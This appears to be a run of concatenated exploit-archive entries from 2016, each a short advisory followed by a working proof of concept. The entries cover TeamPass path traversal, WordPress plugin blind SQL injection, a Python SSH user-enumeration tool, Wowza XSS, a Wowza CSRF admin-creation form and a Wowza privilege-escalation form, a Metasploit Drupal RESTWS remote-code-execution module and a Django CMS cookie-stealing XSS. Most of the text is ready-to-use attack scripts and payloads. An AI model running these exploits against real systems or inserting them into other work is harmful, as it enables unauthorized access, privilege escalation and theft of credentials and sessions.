http://teampass/sources/downloadFile.php?sub=includes&file=settings.php


Technical Details
<?php 
......

header("Content-disposition: attachment; filename=".rawurldecode($_GET['name']));
header("Content-Type: application/octet-stream");
header("Pragma: public");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0, public");
header("Expires: 0");
readfile('../'.$_GET['sub'].'/'.basename($_GET['file']));
?>

$_GET['sub'] and $_GET['file'] parameters vulnerable in readfile function. 



6. SOLUTION
========================================
Update to the latest version v2.1.26


7. REFERENCES
========================================
http://teampass.net/2016-05-13-release-2.1.26
            
<!--
Multiple SQL injection vulnerabilities in WordPress Video Player

Abstract

It was discovered that WordPress Video Player is affected by multiple blind SQL injection vulnerabilities. Using these issues it is possible for a logged on Contributor (or higher) to extract arbitrary data (eg, the Administrator's password hash) from the WordPress database.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160712-0004

Tested versions

This issue was successfully tested on WordPress Video Player WordPress plugin version 1.5.16.

Fix

This issue is resolved in WordPress Video Player 1.5.18.

Introduction

WordPress Video Player is a WordPress video plugin that allows you to easily add videos to your website. WordPress Video Player is affected by multiple blind SQL injection vulnerabilities. Using these issues it is possible for a logged on Contributor (or higher) to extract arbitrary data (eg, the Administrator's password hash) from the WordPress database.

Details

The vulnerabilities exist in the functions show_tag(), spider_video_select_playlist(), and spider_video_select_video(). The author tried to prevent SQL injection by calling the esc_sql() WordPress function. However, the user input is used in the ORDER BY clause and is consequently not quoted. Due to this it is possible to inject arbitrary SQL statements despite the use of esc_sql()

show_tag():

[...]
   
if (isset($_POST['page_number'])) {
   if ($_POST['asc_or_desc']) {
      $sort["sortid_by"] = esc_sql(esc_html(stripslashes($_POST['order_by'])));
      if ($_POST['asc_or_desc'] == 1) {
         $sort["custom_style"] = "manage-column column-title sorted asc";
         $sort["1_or_2"] = "2";
         $order = "ORDER BY " . $sort["sortid_by"] . " ASC";
      } else {
         $sort["custom_style"] = "manage-column column-title sorted desc";
         $sort["1_or_2"] = "1";
         $order = "ORDER BY " . $sort["sortid_by"] . " DESC";
      }
   }


spider_video_select_playlist():
[...]
if(isset($_POST['page_number']))
{
   if($_POST['asc_or_desc'])
   {
      $sort["sortid_by"]=esc_sql(esc_html(stripslashes($_POST['order_by'])));
      if($_POST['asc_or_desc']==1)
      {
         $sort["custom_style"]="manage-column column-title sorted asc";
         $sort["1_or_2"]="2";
         $order="ORDER BY ".$sort["sortid_by"]." ASC";
      }
      else
      {
         $sort["custom_style"]="manage-column column-title sorted desc";
         $sort["1_or_2"]="1";
         $order="ORDER BY ".$sort["sortid_by"]." DESC";
      }
   }
function spider_video_select_video():

[...]
   
if(isset($_POST['page_number']))
{
      if($_POST['asc_or_desc'])
      {
         $sort["sortid_by"]=esc_html(stripslashes($_POST['order_by']));
         if($_POST['asc_or_desc']==1)
         {
            $sort["custom_style"]="manage-column column-title sorted asc";
            $sort["1_or_2"]="2";
            $order="ORDER BY ".esc_sql($sort["sortid_by"])." ASC";
         }
         else
         {
            $sort["custom_style"]="manage-column column-title sorted desc";
            $sort["1_or_2"]="1";
            $order="ORDER BY ".esc_sql($sort["sortid_by"])." DESC";
         }
      }
Proof of concept
-->

<html>
   <body>
      <form action="http://<target>/wp-admin/admin-ajax.php?action=spiderVeideoPlayerselectplaylist" method="POST">
         <input type="hidden" name="search_events_by_title" value="" />
         <input type="hidden" name="page_number" value="0" />
         <input type="hidden" name="serch_or_not" value="" />
         <input type="hidden" name="asc_or_desc" value="1" />
         <input type="hidden" name="order_by" value="(CASE WHEN (SELECT sleep(10)) = 1 THEN id ELSE title END) ASC #" />
         <input type="hidden" name="option" value="com_Spider_Video_Player" />
         <input type="hidden" name="task" value="select_playlist" />
         <input type="hidden" name="boxchecked" value="0" />
         <input type="hidden" name="filter_order_playlist" value="" />
         <input type="hidden" name="filter_order_Dir_playlist" value="" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>
            
#!/usr/bin/python
#
# CVEs:                  CVE-2016-6210 (Credits for this go to Eddie Harari)
#
# Author:                0_o -- null_null
#                        nu11.nu11 [at] yahoo.com
#                        Oh, and it is n-u-one-one.n-u-one-one, no l's...
#                        Wonder how the guys at packet storm could get this wrong :(
# 
# Date:                  2016-07-19
# 
# Purpose:               User name enumeration against SSH daemons affected by CVE-2016-6210. 
# 
# Prerequisites:         Network access to the SSH daemon.
#
# DISCLAIMER:            Use against your own hosts only! Attacking stuff you are not 
#                        permitted to may put you in big trouble!
#
# And now - the fun part :-)
# 


import paramiko
import time
import numpy
import argparse
import sys

args = None

class bcolors:
  HEADER = '\033[95m'
  OKBLUE = '\033[94m'
  OKGREEN = '\033[92m'
  WARNING = '\033[93m'
  FAIL = '\033[91m'
  ENDC = '\033[0m'
  BOLD = '\033[1m'
  UNDERLINE = '\033[4m'


def get_args():
  parser = argparse.ArgumentParser()
  group = parser.add_mutually_exclusive_group()
  parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
  group.add_argument("-u", "--user", type = str, help = "Give a single user name")
  group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
  parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
  parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
  parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
  parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
  parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
  parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
  args = parser.parse_args()
  return args


def get_banner(host, port):
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  try:
    ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
  except:
    banner = ssh.get_transport().remote_version
    ssh.close()
    return banner


def connect(host, port, user):
  global args
  starttime = 0.0
  endtime = 0.0
  p = 'B' * int(args.bytes)
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  starttime=time.clock()
  try:
    ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
  except:
    endtime=time.clock()
  finally:
    ssh.close()
    return endtime - starttime



def main():
  global args
  args = get_args()
  if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
  if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
  if args.host:
    host = args.host.split(":")[0]
    try:
      port = int(args.host.split(":")[1])
    except IndexError:
      port = 22
  users = []
  if args.user:
    users.append(args.user)
  elif args.userlist:
    with open(args.userlist, "r") as f:
      users = f.readlines()
  else:
    if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
    sys.exit()
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC +  ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
  # get baseline timing for non-existing users...
  baseline_samples = []
  baseline_mean = 0.0
  baseline_deviation = 0.0
  if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
  for i in range(1, int(args.samples) + 1):
    if not args.silent: sys.stdout.write('.')
    if not args.silent: sys.stdout.flush()
    sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
    baseline_samples.append(sample)
  if not args.silent: sys.stdout.write('\n')
  # remove the biggest and smallest value
  baseline_samples.sort()
  baseline_samples.pop()
  baseline_samples.reverse()
  baseline_samples.pop()
  # do math
  baseline_mean = numpy.mean(numpy.array(baseline_samples))
  baseline_deviation = numpy.std(numpy.array(baseline_samples))
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
  upper = baseline_mean + float(args.factor) * baseline_deviation
  if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
  # 
  # Get timing for the given user name...
  #
  for u in users:
    user = u.strip()
    enum_samples = []
    enum_mean = 0.0
    for t in range(0, int(args.trials)):
      timeval = connect(host, port, user)
      enum_samples.append(timeval)
    enum_mean = numpy.mean(numpy.array(enum_samples))
    if (enum_mean < upper):
      if not (args.enumerated or args.silent) : 
        print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
    else:
      if not args.silent: 
        print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
      else: 
        print(user)




if __name__ == "__main__":
  main()
            

Wowza Streaming Engine 4.5.0 Multiple Cross-Site Scripting Vulnerabilities


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: Wowza Streaming Engine suffers from multiple reflected cross-site
scripting vulnerabilities when input passed via several parameters to
several scripts is not properly sanitized before being returned to the
user. This can be exploited to execute arbitrary HTML and script code
in a user's browser session in context of an affected site.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5343
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5343.php


03.07.2016

--


http://localhost:8088/enginemanager/applications/live/main/view.htm?vhost=_defaultVHost_&appName=live<script>alert(1)</script>
http://localhost:8088/enginemanager/applications/monitoring/historical.jsdata?vhost=_defaultVHost_&appName=test&periodStart=2016-07-03T13%3A42%3A32%2B02%3A00&periodEnd=2016-07-03T14%3a42%3a32%2b02%3a00<script>alert(2)</script>
http://localhost:8088/enginemanager/applications/monitoring/historical.jsdata?vhost=_defaultVHost_&appName=test&periodStart=2016-07-03T13%3a42%3a32%2b02%3a00<script>alert(3)</script>&periodEnd=2016-07-03T14%3A42%3A32%2B02%3A00
http://localhost:8088/enginemanager/applications/liveedge/securityplayback/edit.htm?appName=test<script>alert(4)</script>&vhost=_defaultVHost_

---

POST /enginemanager/applications/liveedge/main/edit.htm
Host: localhost:8088

vhost=_defaultVHost_";alert(5)//&uiAppName=test&uiAppType=Live%20Edge%20Application<script>alert(6)</script>&section=main&version=1467548313123&action=new&description=desctest&mpegDash=true&_mpegDash=on&appleHLS=true&_appleHLS=on&adobeRTMP=true&_adobeRTMP=on&adobeHDS=true&_adobeHDS=on&msSmooth=true

---

POST /enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm
Host: localhost:8088

vhost=_defaultVHost_&uiAppName=test";alert(7)//&uiAppType=Live+Edge+Application&instanceName=";alert(8)//&section=publishers_panasonic_camcorder";alert(9)//&version=0&driverName=Panasonic&publishersStreamFileName=panasonicstreamname&cameraIpAddress=1.1.1.1&appType=liveedge";alert(10)//&appName=test

---

POST /enginemanager/applications/liveedge/securityplayback/edit.htm HTTP/1.1
Host: localhost:8088

vhost=_defaultVHost_";alert(11)//&uiAppName=test&uiAppType=Live%20Edge%20Application<script>alert(12)</script>&section=securityplayback&version=1467549110876&_requireSecureRTMPConnection=on&secureTokenState=Protect+all+protocols+using+hash+(SecureToken+version+2)&sharedSecret=sharedtestsecret&hashAlgorithm=SHA

---

POST /enginemanager/applications/liveedge/streamtarget/add.htm HTTP/1.1
Host: localhost:8088

enabled=true&protocol=RTMP&destinationName=akamai&destApplicationRequired=false&destAppInstanceRequired=false&usernameRequired=true&passwordRequired=true&wowzaCloudDestinationType=1*/alert(13)//&facebookAccessToken=&facebookDestName=&facebookDestId=&facebookEventSourceName=&wowzaDotComFacebookUrl=https%3A%2F%2Ffb.wowza.com%2Fwsem%2Fstream_targets%2Fv1&connectionCode=&protocolShoutcast=Shoutcast

---

-------------------------------------------------------------------------------------------------------------------
|                                  Script                                        |            Parameter           |
-------------------------------------------------------------------------------------------------------------------
                                                                                 |                                |
/enginemanager/applications/live/main/view.htm                                   |    appName                     |
/enginemanager/applications/liveedge/main/edit.htm                               |    uiAppType                   |
/enginemanager/applications/liveedge/main/edit.htm                               |    vhost                       |
/enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm  |    appType                     |
/enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm  |    instanceName                |
/enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm  |    section                     |
/enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm  |    uiAppType                   |
/enginemanager/applications/liveedge/securityplayback/edit.htm                   |    appName                     |
/enginemanager/applications/liveedge/securityplayback/edit.htm                   |    uiAppType                   |
/enginemanager/applications/liveedge/securityplayback/edit.htm                   |    vhost                       |
/enginemanager/applications/liveedge/streamtarget/add.htm                        |    wowzaCloudDestinationType   |
/enginemanager/applications/liveedge/streamtarget/wizard.htm                     |    appName                     |
/enginemanager/applications/liveedge/streamtarget/wizard.htm                     |    vhost                       |
/enginemanager/applications/monitoring/historical.jsdata                         |    periodEnd                   |
/enginemanager/applications/monitoring/historical.jsdata                         |    periodStart                 |
/enginemanager/applications/new.htm                                              |    uiAppName                   |
/enginemanager/server/mediacachesource/edit.htm                                  |    action                      |
/enginemanager/server/mediacachesource/edit.htm                                  |    maxTTLDays                  |
/enginemanager/server/mediacachesource/edit.htm                                  |    maxTTLHours                 |
/enginemanager/server/mediacachesource/edit.htm                                  |    maxTTLMinutes               |
/enginemanager/server/mediacachesource/edit.htm                                  |    maxTTLSeconds               |
/enginemanager/server/mediacachesource/edit.htm                                  |    minTTLDays                  |
/enginemanager/server/mediacachesource/edit.htm                                  |    minTTLHours                 |
/enginemanager/server/mediacachesource/edit.htm                                  |    minTTLMinutes               |
/enginemanager/server/mediacachesource/edit.htm                                  |    minTTLSeconds               |
/enginemanager/server/mediacachestore/edit.htm                                   |    action                      |
/enginemanager/server/transcoderencode/edit.htm                                  |    action                      |
/enginemanager/server/transcoderencode/edit.htm                                  |    appType                     |
/enginemanager/server/transcoderencode/edit.htm                                  |    templateName                |
/enginemanager/server/vhost/streamfile/new.htm                                   |    streamName                  |
/enginemanager/transcoder/new.htm                                                |    appType                     |
/enginemanager/transcoder/new.htm                                                |    dstTemplate                 |
/enginemanager/applications/monitoring/app.jsdata                                |    appName                     |
/enginemanager/applications/monitoring/historical.jsdata                         |    appName                     |
/enginemanager/applications/monitoring/historical.jsdata                         |    vhost                       |
/enginemanager/server/logs/getlog.jsdata                                         |    filter                      |
/enginemanager/server/logs/getlog.jsdata                                         |    logMode                     |
/enginemanager/server/logs/getlog.jsdata                                         |    logName                     |
/enginemanager/server/logs/getlog.jsdata                                         |    logType                     |
                                                                                 |                                |
---------------------------------------------------------------------------------|--------------------------------|
            
<!--
Wowza Streaming Engine 4.5.0 CSRF Add Advanced Admin Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5341
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5341.php


03.07.2016

--
-->

<html>
  <body>
    <form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
      <input type="hidden" name="version" value="0" />
      <input type="hidden" name="action" value="new" />
      <input type="hidden" name="userName" value="thricer" />
      <input type="hidden" name="userPassword" value="123123" />
      <input type="hidden" name="userPassword2" value="123123" />
      <input type="hidden" name="accessLevel" value="admin" />
      <input type="hidden" name="advUser" value="true" />
      <input type="hidden" name="&#95;advUser" value="on" />
      <input type="hidden" name="ignoreWarnings" value="false" />
      <input type="submit" value="Execute" />
    </form>
  </body>
</html>
            
<!--
Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application suffers from a privilege escalation issue. Normal
user (read-only) can elevate his/her privileges by sending a POST request
seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or
setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining
advanced admin rights.

Advanced Admin:
 Allow access to advanced properties and features
 Only for expert Wowza Streaming Engine users.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5340
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php


03.07.2016

--


Privilege escalation from existing read-only user to admin(advanced):
-->

<html>
  <body>
    <form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
      <input type="hidden" name="version" value="0" />
      <input type="hidden" name="action" value="quickEdit" />
      <input type="hidden" name="userName" value="usermuser" />
      <input type="hidden" name="userPassword" value="" />
      <input type="hidden" name="userPassword2" value="" />
      <input type="hidden" name="accessLevel" value="admin" />
      <input type="hidden" name="advUser" value="true" />
      <input type="hidden" name="&#95;advUser" value="on" />
      <input type="hidden" name="ignoreWarnings" value="false" />
      <input type="submit" value="God mode" />
    </form>
  </body>
</html>
            
Wowza Streaming Engine 4.5.0 Local Privilege Escalation


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: Wowza Streaming Engine 4.5.0 (build 18676)
                  Wowza Streaming Engine Manager 4.5.0 (build 18676)

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: Wowza Streaming Engine suffers from an elevation of privileges
vulnerability which can be used by a simple authenticated user that
can change the executable file with a binary of choice. The vulnerability
exist due to the improper permissions, with the 'F' flag (Full) for
'Everyone' group. In combination with insecure file permissions the
application suffers from an unquoted search path issue impacting the
services 'WowzaStreamingEngine450' and 'WowzaStreamingEngineManager450'
for Windows deployed as part of Wowza Streaming software.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Java Version: 1.8.0_77
           Java VM Version: 25.77-b03
           Java Architecture: 64


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5339
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5339.php


03.07.2016

--


C:\Users\lqwrm>sc qc WowzaStreamingEngineManager450
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WowzaStreamingEngineManager450
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wowza Streaming Engine Manager 4.5.0
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\lqwrm>cacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe"
C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe Everyone:(ID)F
                                                                                                 NT AUTHORITY\SYSTEM:(ID)F
                                                                                                 BUILTIN\Administrators:(ID)F
                                                                                                 BUILTIN\Users:(ID)R

==========

C:\Users\lqwrm>sc qc WowzaStreamingEngine450
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WowzaStreamingEngine450
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wowza Streaming Engine 4.5.0
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\lqwrm>icacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe"
C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe Everyone:(I)(F)
                                                                                         NT AUTHORITY\SYSTEM:(I)(F)
                                                                                         BUILTIN\Administrators:(I)(F)
                                                                                         BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits the Drupal RESTWS module vulnerability.
        RESTWS alters the default page callbacks for entities to provide
        additional functionality. A vulnerability in this approach allows
        an unauthenticated attacker to send specially crafted requests resulting
        in arbitrary PHP execution

        This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Devin Zuczek',                        # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765567'],
          ['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
      ], self.class
    )
  end

  def check
    r = rand_text_alpha(8 + rand(4))
    url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
    if res && res.body =~ /#{r}/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    random = rand_text_alpha(1 + rand(2))
    url = normalize_uri(target_uri.path,
      "?q=taxonomy_vocabulary/",
      random ,
      "/passthru/",
      Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
    )
    send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
  end
end
            
# Exploit Title: PHP calendar script Password Download File
# Date: 2016-07-18
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.newsp.eu/calendarscript.php?pt=st
# Version: All Version
# Download Link : http://www.newsp.eu/calendar.zip

Exploit :
http://site/user.txt
Admin|fe01ce2a7fbac8fafaed7c982a04e229
Password Hash = fe01ce2a7fbac8fafaed7c982a04e229 (demo)[MD5]

Test :
Exploit : http://www.newsp.eu/demo/user.txt
Login Url : http://www.newsp.eu/demo/login.php
Password : demo
            
Document Title:
===============
Django CMS v3.3.0 - (Editor Snippet) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1869

Security Release: https://www.djangoproject.com/weblog/2016/jul/18/security-releases/

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6186

CVE-ID:
=======
CVE-2016-6186


Release Date:
=============
2016-07-19


Vulnerability Laboratory ID (VL-ID):
====================================
1869


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
django CMS is a modern web publishing platform built with Django, the web application framework for perfectionists with deadlines.
django CMS offers out-of-the-box support for the common features you’d expect from a CMS, but can also be easily customised and 
extended by developers to create a site that is tailored to their precise needs.

(Copy of the Homepage: http://docs.django-cms.org/en/release-3.3.x/upgrade/3.3.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side vulnerability (CVE-2016-6186) in the official Django v3.3.0 Content Management System.


Vulnerability Disclosure Timeline:
==================================
2016-07-03: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-07-04 Vendor Notification (Django Security Team)
2016-07-07: Vendor Response/Feedback (Django Security Team)
2016-07-18: Vendor Fix/Patch (Django Service Developer Team)
2016-07-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Divio AG
Product: Django Framework - Content Management System 3.3.0

Divio AG
Product: Django Framework - Content Management System MDB, 1.10, 1.9, 1.8 and 1.7


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Django v3.3.0 Content Management System.
The security vulnerability allows remote attackers or privileged user accounts to inject own malicious script codes to the 
application-side of the vulnerable modules web context.

The persistent web vulnerability is located in the `Name` value of the `Editors - Code Snippet` module POST method request. 
Remote attackers are able to inject own malicious script code to the snippets name input field to provoke a persistent execution. 
The injection point is the snippets add module of the editor. The execution point occurs in the `./djangocms_snippet/snippet/` 
data listing after the add. The data context is not escaped or parsed on add to select and thus results in an execute of any 
payload inside of the option tag.

The attacker vector of the vulnerability is persistent because of the data is stored on add and request method to inject is POST.
The vulnerability can be exploited against other privileged user accounts of the django application by interaction with already 
existing snippets on add. 

Already added elements become visible for the other user accounts as well on add interaction. The unescaped data is stored in 
the database of the web-application but when rendered in the frontend or in the edit mode, it's properly escaped.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. 
Exploitation of the vulnerability requires a low privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external 
redirects to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] Editor - Snippets (Add)

Vulnerable Input(s):
				[+] Name

Parameter(s):
				[+] select

Affected Module(s):
				[+] Snippets Options Listing [./djangocms_snippet/snippet/] - option


Proof of Concept (PoC):
=======================
The application-side validation web vulnerability can be exploited by low and high privileged web-application user accounts with low user interaction.
For security demonstration or to reproduce the application-side web vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to your django cms website with version 3.3.0
2. Open the structure module
3. Click to edit a page module
Note: Now the editor opens with the main default plugins
4. Mark a text passage and click to the code snippets plugin that is configured by default installation
5. Click the plus to add a new snippet of code
6. Inject a script code payload in java-script to the input field of the Name
7. Save the entry iva POST method request
8. Now click the box to choose the vulnerable injected payload
9. The script code payload executes in the box listing without secure parse or filter to encode
10. Successful reproduce of the application-side validation vulnerability in the editors snippet module!

Note: 
Multiple accounts can be exploited by the inject of snippets. When another privileged user account includes a snippet 
the stable saved categories provoke the execution of the payload.



PoC: Snippet Module [./djangocms_snippet/snippet/] (Execution Point) <select> <option>
...
<fieldset class="module aligned ">
<div class="form-row field-snippet">
<div>        
<label class="required" for="id_snippet">Snippet:</label>                    
<div class="related-widget-wrapper">
<select id="id_snippet" name="snippet">
<option value="">---------</option>
<option value="3" selected="selected">"><"<img src="x">%20%20>"<iframe src="a">%20<iframe>  
"><"<img src="x">%20%20>"<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie)<>[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]%20<iframe></iframe></option>
<option value="1">Social AddThis</option>
<option value="2">tour "><"<img src="x">%20%20>"<iframe src=a>%20<iframe></option>
</select> 
<a href="/en/admin/djangocms_snippet/snippet/3/?_to_field=id&_popup=1" class="related-widget-wrapper-link change-related" 
id="change_id_snippet" data-href-template="/en/admin/djangocms_snippet/snippet/__fk__/?_to_field=id&_popup=1" title="Change selected Snippet">
<img src="/static/admin/img/icon_changelink.gif" alt="Change" height="10" width="10">
</a>
<a class="related-widget-wrapper-link add-related" id="add_id_snippet" href="/en/admin/djangocms_snippet/snippet/add/?_to_field=id&_popup=1" title="Add another Snippet">
<img src="/static/admin/img/icon_addlink.gif" alt="Add" height="10" width="10">
</a>
</div>
</div>
</div>
</fieldset>
...



--- PoC Session Logs [POST] (Injection) [GET] (Execution) ---
Status: 200[OK]
